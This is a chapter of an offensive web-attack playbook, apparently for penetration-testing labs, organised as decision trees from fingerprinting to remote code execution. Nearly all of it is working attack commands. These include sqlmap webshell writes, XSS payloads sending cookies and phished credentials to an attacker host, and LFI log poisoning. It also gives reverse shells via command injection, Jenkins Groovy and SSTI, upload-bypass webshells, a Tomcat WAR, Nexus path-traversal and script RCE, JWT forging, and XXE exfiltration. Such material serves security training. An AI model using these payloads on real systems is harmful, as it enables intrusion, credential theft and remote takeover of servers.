Skip to content

Chapter 2: Web Attack Surface

Tags: #web #sqli #sqlmap #xss #lfi #rfi #cmdi #fileupload #cms #wordpress #joomla #drupal #tomcat #jenkins #ssti #jwt #ffuf #burp #idor #xxe

Overview

Web attacks cover everything from content discovery through full RCE via web vulnerabilities. This chapter maps the web attack surface in a decision-tree format: what you observe → which technique to apply → what outcome to expect. Every section routes to the next step.


Web Attack Decision Tree

Target has a web application?
├── Step 1: Fingerprint the tech stack (§1)
├── Step 2: Content discovery — dirs, vhosts, params (§2)
├── Step 3: Identify attack surface
│    ├── Login form / user input → §4 (SQLi)
│    ├── Reflected user input → §5 (XSS)
│    ├── File include/path params → §6 (LFI/RFI)
│    ├── System command execution params → §7 (CMDi)
│    ├── File upload functionality → §8 (File Upload)
│    ├── Object IDs in URL/params → check for IDOR
│    ├── XML input / SOAP endpoints → check for XXE
│    ├── Template engine output → §10 (SSTI)
│    ├── JWT tokens in auth headers → §11 (JWT)
│    ├── CMS detected (WordPress/Joomla/Drupal/Tomcat/Jenkins) → §9 (CMS)
│    ├── Source code accessible (git repo, GOGS)? → read upload/auth logic before attacking
│    ├── Invite code / regex-gated access? → read source via LFI first, reverse-engineer regex
│    └── CMS: Nexus Repository Manager → §9x (Nexus Groovy RCE)
│         SonarQube → §9y (SonarQube admin enum)
└── Any shell obtained → proceed to Chapter 4 (Foothold Consolidation)

1. Web Fingerprinting

# Passive — headers + server banner
curl -sI http://<TARGET>/ | grep -iE "server|x-powered-by|set-cookie|content-type"

# whatweb — fast tech stack fingerprinting
whatweb http://<TARGET>/ -v

# wafw00f — detect WAF before sending payloads
wafw00f http://<TARGET>/

# Nikto — quick vulnerability scan
nikto -h http://<TARGET>/ -o nikto_output.txt

# Check robots.txt and sitemap
curl http://<TARGET>/robots.txt
curl http://<TARGET>/sitemap.xml
Fingerprinting results → attack routing:
├── PHP + Apache/Nginx → try LFI (/etc/passwd), SQLi, file upload
├── ASP.NET + IIS → try ASPX upload, auth bypass, padding oracle
├── WordPress → §9a (WPScan)
├── Joomla → §9b (droopescan)
├── Drupal → §9c
├── Tomcat → §9d
├── Jenkins → §9e
└── WAF detected → test payload encoding/obfuscation; use SQLMap tamper scripts

2. Content Discovery

Directory Fuzzing

# Standard dir brute-force
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -fc 404 -t 50 -o dirs.json

# With file extensions
ffuf -u http://<TARGET>/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
  -e .php,.asp,.aspx,.jsp,.html,.txt,.bak,.old -fc 404 -t 50

# Recursive discovery
ffuf -u http://<TARGET>/FUZZ -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -recursion -recursion-depth 2 -fc 404 -t 30

Virtual Host Fuzzing

# Enumerate subdomains / vhosts (filter by response size, not status code)
ffuf -u http://<TARGET_IP>/ -H "Host: FUZZ.<DOMAIN>" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -fs <BASELINE_RESPONSE_SIZE> -t 40

# Baseline: first request with invalid host → note size of 404 response → use -fs to filter it
ffuf -u http://<TARGET_IP>/ -H "Host: invalid.domain" 2>/dev/null | grep -i "size"

Parameter Discovery

# GET parameter fuzzing
ffuf -u "http://<TARGET>/page.php?FUZZ=value" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs <BASELINE_SIZE> -t 30

# POST parameter fuzzing
ffuf -u "http://<TARGET>/login.php" -X POST \
  -d "FUZZ=value" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -fs <BASELINE_SIZE>

# Value fuzzing — test an identified parameter for SQLi/LFI/etc.
ffuf -u "http://<TARGET>/page.php?id=FUZZ" \
  -w /usr/share/seclists/Fuzzing/special-chars.txt -fs <BASELINE_SIZE>

3. Burp Suite Workflow

Setup:
1. Firefox → Settings → Network → Manual Proxy → 127.0.0.1:8080
2. Burp → Proxy → Options → verify listener on 127.0.0.1:8080
3. Burp → CA cert → http://burpsuite/cert → import to Firefox trusted CAs

Key workflow:
├── Proxy → Intercept ON → browse target → capture requests
├── Right-click request → Send to Repeater (Ctrl+R) → modify and replay
├── Right-click request → Send to Intruder → set payload positions → attack
│    ├── Sniper: one position, one wordlist
│    └── Cluster Bomb: multiple positions, multiple wordlists (credential stuffing)
├── Decoder: Base64/URL/HTML encode and decode payloads
└── Comparer: diff two responses to find differences

Useful extensions:
└── ActiveScan++ , Logger++, Turbo Intruder (for high-speed fuzzing)

4. SQL Injection

Manual Detection

# Test for errors — inject in each parameter one at a time
'                    # single quote — look for SQL error message
''                   # doubled single quote — should not error
' OR '1'='1          # always-true condition (auth bypass)
' OR '1'='1'--       # with comment to kill rest of query
' OR '1'='1'/*       # MySQL block comment
' AND SLEEP(5)--     # time-based blind (if app pauses 5 seconds → SQLi confirmed)
' AND 1=1--          # boolean true (compare with AND 1=2)
' AND 1=2--          # boolean false — different response = blind SQLi

# UNION-based: find number of columns
' ORDER BY 1--        # no error
' ORDER BY 2--        # no error
' ORDER BY N--        # error → N-1 columns
' UNION SELECT NULL,NULL,NULL--   # confirm column count

# Find which column displays text
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--

SQLMap — Full Exploitation Chain

# 1. Detect injection point
sqlmap -u "http://<TARGET>/page.php?id=1" --dbs --batch

# 2. With POST request (capture from Burp, save as req.txt)
sqlmap -r req.txt --dbs --batch

# 3. If WAF present — use tamper scripts
sqlmap -u "http://<TARGET>/page.php?id=1" --dbs --batch \
  --tamper=space2comment,between,randomcase

# 4. Enumerate databases → tables → columns → dump
sqlmap -u "http://<TARGET>/page.php?id=1" -D <DBNAME> --tables --batch
sqlmap -u "http://<TARGET>/page.php?id=1" -D <DBNAME> -T <TABLE> --columns --batch
sqlmap -u "http://<TARGET>/page.php?id=1" -D <DBNAME> -T <TABLE> -C username,password --dump --batch

# 5. File read (if FILE privilege)
sqlmap -u "http://<TARGET>/page.php?id=1" --file-read="/etc/passwd" --batch

# 6. File write (webshell — if writable web root)
sqlmap -u "http://<TARGET>/page.php?id=1" \
  --file-write="./shell.php" --file-dest="/var/www/html/shell.php" --batch

# 7. OS shell (highest privilege — requires stacked queries or xp_cmdshell on MSSQL)
sqlmap -u "http://<TARGET>/page.php?id=1" --os-shell --batch

# Common tamper scripts:
# space2comment, between, randomcase → WAF evasion
# charencode, charhexencode → character encoding
# 0x2char, apostrophemask → quote avoidance
SQLi outcome decision:
├── --dbs works → enumerate and dump target DBs (look for credentials, PII)
├── --file-read /etc/passwd works → read sensitive files; try /etc/shadow, web configs, SSH keys
├── --file-write → drop webshell → RCE (proceed to Ch.4)
├── --os-shell → interactive OS command execution (proceed to Ch.4)
└── Only error-based data extraction → still dump credentials from DB

5. Cross-Site Scripting (XSS)

Detection

// Basic reflection test — inject in every input field, URL param, header
<script>alert(1)</script>
"><script>alert(1)</script>
'><script>alert(1)</script>
// If alert pops → reflected XSS confirmed

// HTML context (no script tag needed)
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

// Attribute context
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

// DOM-based (check JS source for document.location, document.write, innerHTML)
#<script>alert(1)</script>
javascript:alert(1)
// Step 1: Set up listener on attacker box
// Create cookie catcher (PHP):
// <?php $c=$_GET['c']; file_put_contents('cookies.txt',$c."\n",FILE_APPEND); ?>
python3 -m http.server 80  // or use php -S 0.0.0.0:80

// Step 2: Payload (inject into stored XSS location)
<script>document.location='http://<LHOST>/index.php?c='+document.cookie;</script>
// Or with fetch (bypasses some CSP):
<script>fetch('http://<LHOST>/?c='+btoa(document.cookie))</script>

// Step 3: Victim visits page → cookie sent to your listener
// Step 4: Use session cookie in Burp → replace your cookie → authenticated session

Phishing Form (Credential Harvest via XSS)

// Inject fake login form
document.write('<h3>Session Expired</h3><form action="http://<LHOST>/log.php" method="POST"><input name="u" placeholder="Username"><input type="password" name="p" placeholder="Password"><input type="submit" value="Login"></form>');

6. File Inclusion (LFI / RFI)

LFI Detection

# Test path traversal in any file parameter
?page=../../../../etc/passwd
?file=....//....//....//etc/passwd    # double dot bypass
?page=..%2F..%2F..%2Fetc%2Fpasswd   # URL encoded
?page=....\/....\/etc/passwd          # backslash bypass

# Null byte (older PHP)
?page=../../../../etc/passwd%00

# Confirm: look for root:x:0:0: in response

LFI — Useful File Targets

Linux:
├── /etc/passwd                          → user list
├── /etc/shadow                          → password hashes (needs root)
├── /etc/hosts                           → internal network mapping
├── /proc/net/tcp                        → open ports
├── /home/<user>/.ssh/id_rsa            → private SSH key
├── /var/www/html/config.php            → DB credentials
└── /var/log/apache2/access.log         → log poisoning entry point

Windows:
├── C:\Windows\win.ini                   → LFI confirmation
├── C:\Windows\System32\drivers\etc\hosts
├── C:\inetpub\wwwroot\web.config       → .NET DB credentials
└── C:\xampp\htdocs\config.php

LFI → RCE via Log Poisoning

# Step 1: Poison the log (inject PHP code into User-Agent)
curl -s "http://<TARGET>/" -A "<?php system(\$_GET['cmd']); ?>"

# Step 2: Include the log file via LFI + pass command
curl "http://<TARGET>/page.php?file=/var/log/apache2/access.log&cmd=id"

# Other poison targets:
# /var/log/nginx/access.log
# /var/log/auth.log (inject via SSH username: ssh '<?php system($_GET["cmd"]);?>'@target)
# /proc/self/environ → inject via User-Agent
# /var/mail/<user> → inject via email subject/body

PHP Wrappers (No Log Needed)

# Base64 encode source files (bypasses output rendering, reads PHP source)
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=convert.base64-encode/resource=index.php

# Execute via data wrapper (if allow_url_include=On)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# (that base64 is: <?php system($_GET['cmd']); ?>)

# Expect wrapper (if PHP expect extension installed)
?page=expect://id

RFI (Remote File Inclusion)

# Only works if allow_url_include=On and allow_url_fopen=On
# Host malicious PHP on attacker box
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python3 -m http.server 80

# Include it
?page=http://<LHOST>/shell.php&cmd=id
?page=ftp://<LHOST>/shell.php    # via FTP if HTTP blocked

7. Command Injection

Detection

# Test operators — inject after normal input
;id
&&id
||id
`id`
$(id)

# Blind detection (no output — use time delay or OOB)
;sleep 5                   # if response delays 5 seconds → blind CMDi
&& ping -c 1 <LHOST>       # ICMP OOB
&& curl http://<LHOST>/$(whoami)   # DNS/HTTP OOB — check server logs

Filter Bypass Techniques

# Bypass space filter
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd}

# Bypass keyword filter (block on "cat", "ls", etc.)
c'a't /etc/passwd         # quoted chars — shell ignores quotes inside words
ca\t /etc/passwd          # backslash escape
$(printf '\x63\x61\x74') /etc/passwd   # hex-encoded command name

# Bypass via newline (if semicolons/& blocked)
%0a id                     # URL-encoded newline

# Bypass blacklist with environment variables
${PATH:0:1}                # → /
${HOSTNAME:0:1}            # → first char of hostname
$HOME                      # → /root or /home/user

# Base64 encoded payload (bypass static string detection)
echo 'aWQ=' | base64 -d | bash       # aWQ= is base64('id')
bash<<<$(base64 -d<<<aWQ=)

Reverse Shell via CMDi

# Once CMDi confirmed — get reverse shell
# Set up listener first
nc -lvnp 4444

# Inject one of:
;bash -i >& /dev/tcp/<LHOST>/4444 0>&1
;/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1'
;python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<LHOST>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# URL-encode the payload if submitting via URL parameter

8. File Upload Attacks

Upload Bypass Decision Tree

Can you upload a file?
├── Is there a file type check?
│    ├── Client-side only (JS validation) → intercept in Burp, bypass before send
│    ├── MIME type check (Content-Type header) → change to image/jpeg in Burp
│    ├── Extension blacklist → try: .php5, .phtml, .pHp, .PhP (case variation)
│    └── Extension whitelist → .htaccess override OR polyglot file
├── Is the upload directory web-accessible?
│    ├── YES → upload webshell → access URL → RCE
│    └── NO → look for other file-processing features (XML parser, image resizer, PDF generator)
└── Is the server Windows?
     └── Try: shell.php.jpg → some servers strip the .jpg extension
     Try: shell.asp;.jpg (semicolon parsing trick on older IIS)

Bypass Techniques

# 1. Content-Type bypass (in Burp Repeater)
# Change: Content-Type: application/php
# To:     Content-Type: image/jpeg

# 2. Magic bytes — prepend valid image header to PHP webshell
echo -e "\xFF\xD8\xFF\xE0" > shell.php.jpg    # JPEG magic bytes
echo '<?php system($_GET["cmd"]); ?>' >> shell.php.jpg

# 3. Double extension
mv shell.php shell.php.jpg     # if server processes left-to-right
mv shell.php shell.jpg.php     # if server uses last extension

# 4. .htaccess override (Apache — upload to same directory)
# Upload a file named: .htaccess  with content:
# AddType application/x-httpd-php .jpg
# Then upload: shell.jpg (containing PHP code) → it executes as PHP

# 5. SVG with XXE payload (for SVG upload features)
# <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><svg>&xxe;</svg>

Webshell Payloads

// Minimal PHP webshell
<?php system($_GET['cmd']); ?>

// More functional
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>

// With auth (don't forget the password)
<?php if(isset($_POST['cmd']) && $_POST['p']=='pass'){echo shell_exec($_POST['cmd']);} ?>

§8b — File Upload Bypass: Double Extension + LFI Chain

# Step 1: Read upload handler source via LFI php://filter
curl -s "http://<TARGET>/index.php?page=php://filter/convert.base64-encode/resource=upload.php" | base64 -d

# Step 2: Identify regex filter — e.g. /^.*\.(jpg|jpeg|png|gif)$/
# Bypass: double extension — shell.phtml.jpg passes the regex, server executes .phtml
# Craft payload:
echo '<?php system($_GET["cmd"]); ?>' > shell.phtml.jpg

# Step 3: Upload the double-extension payload via the form

# Step 4: Trigger via LFI
curl "http://<TARGET>/index.php?page=uploads/shell.phtml.jpg&cmd=id"

Invite code regex bypass: read source via LFI, reverse-engineer format, generate valid code manually. Example: regex ^tril_[0-9A-Za-z]{4}_[0-9A-Za-z]{4}_[0-9A-Za-z]{4}_20[0-9]{2}$ → use tril_1234_abcd_5678_2024

§8c — Drupal Webshell via Malicious Theme Upload

# Step 1: Enable insecure uploads via config import
# Navigate to: /admin/config/development/configuration/single/import
# Type: Simple Configuration | Name: system.file
# Paste:
# allow_insecure_uploads: true
# default_scheme: public
# path:
#   temporary: /tmp

# Step 2: Build malicious theme archive
mkdir theme
echo '<?php system($_GET["cmd"]); ?>' > theme/shell.phtml
cat > theme/theme.info.yml << 'EOF'
name: 'Themea'
type: theme
description: 'Diagnostic.'
core_version_requirement: ^9 || ^10
base theme: false
EOF
cat > theme/.htaccess << 'EOF'
Options +ExecCGI
AddType application/x-httpd-php .phtml .phar .php
AddHandler application/x-httpd-php .phtml .phar .php
EOF
zip -r theme.zip theme/

# Step 3: Upload via Appearance > Install new theme > Upload

# Step 4: Trigger webshell
curl "http://<TARGET>/themes/theme/shell.phtml?cmd=id"
curl "http://<TARGET>/themes/theme/shell.phtml?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/<PORT>+0>%261'"

9. CMS Attacks

9a. WordPress

# Enumerate everything
wpscan --url http://<TARGET>/ --enumerate vp,vt,u,cb,dbe --api-token <TOKEN>

# Brute-force admin credentials
wpscan --url http://<TARGET>/ -U admin -P /usr/share/wordlists/rockyou.txt

# xmlrpc brute-force (bypasses some rate limiting)
# POST to /xmlrpc.php:
# <methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>admin</string></value></param><param><value><string>password</string></value></param></params></methodCall>
wpscan --url http://<TARGET>/ --password-attack xmlrpc -U admin -P rockyou.txt

# If admin credentials obtained → RCE via theme editor:
# Appearance → Theme Editor → 404.php → replace with webshell
# Trigger: curl "http://<TARGET>/wp-content/themes/<THEME>/404.php?cmd=id"

# Plugin upload (alternative to theme editor)
# Zip a PHP file named: shell.php → Plugins → Add New → Upload Plugin → install

9b. Joomla

# Enumerate version and components
droopescan scan joomla --url http://<TARGET>/

# Admin panel usually at: /administrator/
# If admin creds found → System → Templates → Protostar → index.php → add webshell

# Joomla SQLi (older versions)
# CVE-2015-8562 — remote code execution (check with metasploit search joomla)

9c. Drupal

# Enumerate version
droopescan scan drupal --url http://<TARGET>/

# If admin access → Enable PHP filter module:
# Modules → PHP filter → Enable
# Content → Add Content → Basic Page → Format: PHP code → paste webshell

# Drupalgeddon2 (CVE-2018-7600) — pre-auth RCE
python3 drupalgeddon2.py http://<TARGET>/
# Or: use exploit/unix/webapp/drupal_drupalgeddon2 in Metasploit

# CVE-2019-6340 (Drupal 8.6.x < 8.6.10)

9d. Apache Tomcat

# Manager panel: /manager/html (default creds: tomcat:tomcat, admin:admin, tomcat:s3cr3t)
# If creds found → deploy WAR webshell:

# Generate malicious WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST> LPORT=4444 -f war -o shell.war

# Deploy via curl
curl -u 'tomcat:tomcat' -T shell.war "http://<TARGET>:8080/manager/text/deploy?path=/shell"

# Trigger the shell
curl "http://<TARGET>:8080/shell/"

# Or: upload via Manager GUI → Deploy WAR → select file → deploy → navigate to path

9e. Jenkins

# If Jenkins accessible (often port 8080 or 8090):
# Check for unauthenticated access: http://<TARGET>:8080/
# Admin panel: /manage → Script Console → Groovy execution

# Groovy reverse shell (paste into Script Console):
String host="<LHOST>";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);}p.destroy();s.close();

# Alternative one-liner (works if bash available)
def cmd = "bash -c {echo,<BASE64_REVSHELL>}|{base64,-d}|bash"
println cmd.execute().text

§9x — Nexus Repository Manager

# Default credentials to try: admin:admin123, admin:nexus, admin:admin

# CVE-2024-4956 — Unauthenticated path traversal (affects all < 3.68.0)
curl -v --path-as-is "http://<TARGET>:8081/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2Fsonatype-work%2Fnexus3%2Fadmin.password"
curl -v --path-as-is "http://<TARGET>:8081/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem32%2Fdrivers%2Fetc%2Fhosts"

# Authenticated Groovy Script RCE (admin access required)
# Note: scripting API disabled by default in >= 3.21.2 — may need to enable in nexus.properties
cat > rce.json << 'EOF'
{
  "name": "rce",
  "type": "groovy",
  "content": "def cmd = [\"cmd\", \"/c\", \"whoami\"]; def proc = cmd.execute(); proc.waitForOrKill(5000); return proc.text;"
}
EOF

# Create script
curl -s -X POST -u 'admin:<PASS>' -H "Content-Type: application/json" \
  -d @rce.json http://<TARGET>:8081/service/rest/v1/script

# Execute script
curl -s -X POST -u 'admin:<PASS>' -H "Content-Type: text/plain" \
  http://<TARGET>:8081/service/rest/v1/script/rce/run

# Update existing script (PUT):
curl -s -X PUT -u 'admin:<PASS>' -H "Content-Type: application/json" \
  -d @rce.json http://<TARGET>:8081/service/rest/v1/script/rce

# Cleanup — delete script when done:
curl -s -X DELETE -u 'admin:<PASS>' http://<TARGET>:8081/service/rest/v1/script/rce

§9y — SonarQube

# Version fingerprint (unauthenticated — /api/system/status is always public)
curl -s http://<TARGET>:9000/api/system/status

# Default credentials: admin:admin, admin:sonar, admin:sonarqube
# Validate auth (returns {"valid":true} if correct):
curl -u admin:sonar http://<TARGET>:9000/api/authentication/validate

# Unauthenticated project browse (< 8.6 default allows Anyone group):
curl -s "http://<TARGET>:9000/api/projects/search"
curl -s "http://<TARGET>:9000/api/components/search?qualifiers=TRK"

# System info (authenticated admin):
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/system/info" | python3 -m json.tool

# Source code search for credentials:
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/sources/search?q=password"
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/sources/search?q=secret"

# User tokens and accounts:
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/users/search"
curl -s -u admin:<PASS> "http://<TARGET>:9000/api/user_tokens/search"

10. Server-Side Template Injection (SSTI)

Detection — Identify Template Engine

Injection test sequence (try each in a reflected input field):
├── {{7*7}}      → returns 49?  → Twig or Jinja2
│    └── {{7*'7'}} → 49 (int) → Jinja2
│    └── {{7*'7'}} → 7777777 (string repeat) → Twig
├── ${7*7}       → returns 49?  → FreeMarker or Pebble
├── #{7*7}       → returns 49?  → Pebble
├── <%=7*7%>    → returns 49?  → ERB (Ruby)
├── ${7*7}       → returns 49 in context of ${...}? → Velocity
└── *{7*7}       → returns 49?  → Thymeleaf (Spring)

Decision tree:
{{7*7}} = 49?
├── YES → {{7*'7'}}?
│    ├── 49 → Jinja2 (Python)
│    └── 7777777 → Twig (PHP)
└── NO → ${7*7}?
     ├── 49 → FreeMarker or Pebble
     └── NO → <%=7*7%> → 49? → ERB (Ruby)

Jinja2 RCE (Python/Flask)

# Read file
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}

# Execute OS commands (multiple variants — try each if blocked)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

# Reverse shell via Jinja2
{{ config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"').read() }}

Twig RCE (PHP)

// Twig — filter callback
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

// Twig — system function
{{['id']|filter('system')}}
{{['bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"']|filter('system')}}

FreeMarker RCE (Java)

// FreeMarker — Execute class
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,<BASE64>}|{base64,-d}|bash")}

ERB RCE (Ruby/Rails)

<%= system("id") %>
<%= `id` %>
<%= IO.popen('id').readlines()  %>
<%= require 'open3'; Open3.popen3('id'){|i,o,e,t| o.read} %>

tplmap — Automated SSTI Exploitation

# Install
git clone https://github.com/epinna/tplmap
pip3 install -r tplmap/requirements.txt

# Basic scan — auto-detects engine
python3 tplmap/tplmap.py -u 'http://<TARGET>/page?name=*'

# With POST
python3 tplmap/tplmap.py -u 'http://<TARGET>/page' -d 'name=*'

# OS command execution
python3 tplmap/tplmap.py -u 'http://<TARGET>/page?name=*' --os-cmd id

# Shell
python3 tplmap/tplmap.py -u 'http://<TARGET>/page?name=*' --os-shell
SSTI exploitation decision:
├── Jinja2 → config.__class__.__init__.__globals__['os'].popen() → RCE
├── Twig → _self.env.registerUndefinedFilterCallback("exec") → RCE
├── FreeMarker → freemarker.template.utility.Execute?new() → RCE
├── ERB → system() or backtick → RCE
└── Unknown engine → tplmap -u 'url?param=*' → auto-detect + auto-exploit

11. JWT Attacks

Decode and Inspect

# JWT structure: header.payload.signature (base64url encoded)
# Decode header
echo "<HEADER_PART>" | base64 -d 2>/dev/null
# Decode payload
echo "<PAYLOAD_PART>" | base64 -d 2>/dev/null

# Use jwt_tool for analysis
pip3 install jwt_tool
python3 jwt_tool.py <TOKEN>

Attack 1: Algorithm None (alg:none)

# Craft a token with no signature — some servers accept it
# Manual: base64url-encode modified header {"alg":"none","typ":"JWT"} + payload
# Then append with empty signature: header.payload.

# jwt_tool automates this:
python3 jwt_tool.py <TOKEN> -X a
# Try variations: "None", "NONE", "nOnE", ""

Attack 2: RS256 → HS256 Key Confusion

# If server uses RS256 (asymmetric) but accepts HS256 (symmetric):
# Sign the token using the RS256 public key as the HMAC secret

# Step 1: Get the public key (check /.well-known/jwks.json or /api/auth/jwks)
curl http://<TARGET>/.well-known/jwks.json

# Step 2: Convert JWKS to PEM (if needed)
python3 jwt_tool.py <TOKEN> -V -jw jwks.json  # verify to extract pub key

# Step 3: Forge token signed with pub key as HS256 secret
python3 jwt_tool.py <TOKEN> -X k -pk public.pem

Attack 3: Secret Cracking

# If HMAC-signed (HS256/HS384/HS512) — crack the secret
# Format for hashcat: full JWT token string
echo '<FULL_JWT_TOKEN>' > jwt.hash

# Hashcat mode 16500
hashcat -a 0 -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt
# If cracked → sign arbitrary payloads with the secret

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.hash --format=HMAC-SHA256

Attack 4: Claim Tampering

# If secret known or signing bypassed — modify claims
# Common targets: "role":"user" → "role":"admin", "sub":"user1" → "sub":"admin", "exp": increase

# jwt_tool modify and re-sign with known secret
python3 jwt_tool.py <TOKEN> -T   # tamper mode (interactive)

# Or manually:
# 1. Decode header + payload
# 2. Modify payload (e.g., "admin":true)
# 3. Re-sign with known secret:
python3 jwt_tool.py <TOKEN> -S hs256 -p '<CRACKED_SECRET>'

Attack 5: jwt_tool Scan All

# Run all jwt_tool attacks against an endpoint
python3 jwt_tool.py <TOKEN> -t http://<TARGET>/api/admin -M at -v

# -M at = run all tamper tests
# Check for any 200 / different response vs normal
JWT attack decision:
├── alg=none in header? → try alg:none bypass directly
├── alg=RS256 and public key accessible? → try HS256 key confusion
├── alg=HS256? → crack secret with hashcat -m 16500
├── Secret cracked? → re-sign with modified claims (escalate role/admin)
└── Server returns 500 on modified tokens? → server-side validation in place; SSTI/SQLi more promising

12. XXE Injection

Detection

<!-- Inject into any XML input — SOAP, file upload, API body -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY test "test">]>
<root><data>&test;</data></root>
<!-- If "test" appears in response → XML parser processes entities → XXE possible -->

File Read

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

<!-- Windows -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>

SSRF via XXE

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root><data>&xxe;</data></root>
<!-- AWS metadata endpoint — extracts IAM credentials -->

Blind OOB XXE (No Output in Response)

<!-- Attacker-hosted DTD: http://<LHOST>/evil.dtd -->
<!-- evil.dtd content: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<LHOST>/?data=%file;'>">
%eval;
%exfil;

<!-- Injection payload: -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://<LHOST>/evil.dtd">%dtd;]>
<root><data>x</data></root>
<!-- File contents sent to your HTTP server -->

13. Routing — Shell Obtained

Web shell / reverse shell obtained?
├── Shell as www-data / IIS AppPool / low user:
│    └── → Chapter 5 (Privilege Escalation — Linux or Windows)
├── Credentials extracted from DB / config:
│    └── → Chapter 4 §5 (Credential Extraction decision tree)
│    └── Try credentials against SSH/WinRM/SMB → potential new foothold
├── No code execution but credentials obtained:
│    └── → Chapter 3 (Service/Protocol Exploitation)
│    └── Try SSH, WinRM, SMB with found credentials
└── Internal SSRF obtained:
     └── Probe internal services: 169.254.169.254 (cloud metadata), 172.x.x.x, 192.168.x.x
     └── Port scan via SSRF: http://127.0.0.1:<PORT>/